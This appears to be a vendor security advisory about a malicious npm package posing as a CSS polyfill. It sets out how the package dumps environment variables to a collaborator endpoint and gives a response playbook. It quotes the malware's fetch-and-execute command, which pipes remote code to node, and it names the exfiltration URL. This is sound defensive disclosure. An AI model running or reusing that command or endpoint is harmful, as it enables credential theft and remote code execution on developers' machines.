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Malicious package

css-vvgsze-polyfillnpm

Advisory published Updated

css-vvgsze-polyfill is a confirmed malicious npm package (MAL-2026-17577) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in css-vvgsze-polyfill (npm)

MAL-2026-17577
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall css-vvgsze-polyfill

What this malware does

thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs id, whoami, env, and ifconfig/ip addr, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The env dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs curl -L https://appsecc.com/js | node, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (thunderboltRegistry, siteAssetsRegistry, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for css-vvgsze-polyfill (version 1.0.0).

  2. If you installed it — respond

    css-vvgsze-polyfill is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If css-vvgsze-polyfill was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. css-vvgsze-polyfill on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021074

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks css-vvgsze-polyfill-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

css-vvgsze-polyfill (npm) malicious package — MAL-2026-17577 | O3 Security